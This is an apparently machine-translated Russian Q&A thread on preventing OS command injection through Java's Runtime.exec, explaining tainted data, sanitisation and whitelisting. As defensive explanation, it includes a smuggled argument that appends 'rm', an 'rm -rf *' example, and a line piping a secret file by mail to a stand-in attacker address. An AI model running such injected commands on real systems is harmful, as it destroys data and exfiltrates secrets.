#java #security #owasp
#java #Безопасность #owasp
Вопрос:
Согласно моему пониманию из ОС сайта (linux / windows) выполнение команды возможно только тогда, когда я использую любую строку в качестве параметра в Runtime.exec
Мой вопрос в том, что если я не использую какой-либо параметр запроса (исходящий от пользователя) или фактически любую строку в Runtime.exec, возможно ли выполнение команды ОС? Мой ответ: это никоим образом не должно быть возможным.
Комментарии:
1. На первый взгляд вы правы. Однако выполняемая вами программа (даже если она запущена с параметрами, не определяемыми пользователем) может обрабатывать пользовательские данные, которые могут вызвать уязвимости в программе, что может привести, например, к внедрению команды.
2. @Роберт согласился. Но главное, является ли его пользовательский ввод или внутренний ввод, чтобы выполнить внедрение команды ОС в java, этот ввод должен выполняться через
Runtime.exec(String command)
, другого способа нет?
Ответ №1:
Самое безопасное — всегда избегать вызовов типа system()
или exec()
— и действительно, в некоторых организациях вы абсолютно не пройдете проверку безопасности, если ваше приложение сделает это.
Однако, как вы намекнули, вы можете предпринять шаги, чтобы сделать это безопасным. Полезной концепцией является концепция «испорченных» данных. Часть данных, предоставленных пользователем или клиентом, испорчена. Фрагмент данных, созданный из испорченных данных, также испорчен. Вы можете «очистить» данные, например, сопоставив их с набором параметров, внесенных в белый список, или очистив их.
String name = request.getBody(); // tainted
String cmd = "grep " name " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
Вы можете видеть, как if request.getBody()
возвращает slim
then grep slim customers.txt
безопасно. Однако, если предоставленные пользователем данные есть slim customers.txt; rm
, результат cmd
grep slim customers.txt; rm customers.txt
является плохой новостью.
sanitize()
может делать такие вещи, как удаление всего, кроме a-zA-Z
.
Существует довольно много возможностей для того, чтобы процедуры очистки были наивными и недостаточно тщательными, и это может быть вектором атаки — поэтому белые списки считаются более безопасными.
(Существуют инструменты для многих языков, которые могут анализировать код и предупреждать вас, если данные, полученные из ненадежного источника, записываются в небезопасное место назначения: https://www.owasp.org/index.php/Source_Code_Analysis_Tools )
Если переданные строки exec()
не повреждены, это шаг к безопасности. Однако все еще есть способы сделать это опасным. Рассмотрим:
String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
Теперь оба command
и path
не повреждены — они не предоставляются пользователем, но мы передаем данные myProgram
через файл, и есть риск, что MyProgram сделает что-то опасное с данными.
Наиболее очевидным примером этого может быть if command
was /bin/bash
, а тело запроса было чем-то вроде rm -rf *
or cat secretFile | mail blackhat@naughtyhacker.com
.
Но есть много более тонких способов, которыми это может быть рискованно. Возможно myprogram
, использует содержимое файла, например, для построения SQL-запросов.
Вы можете снизить эти риски в разных местах. Вы можете очистить данные перед их записью в файл, или вы можете указать в своей модели безопасности, что содержимое файла заражено, myprogram
должно относиться к нему как к таковому и выполнять его собственную очистку.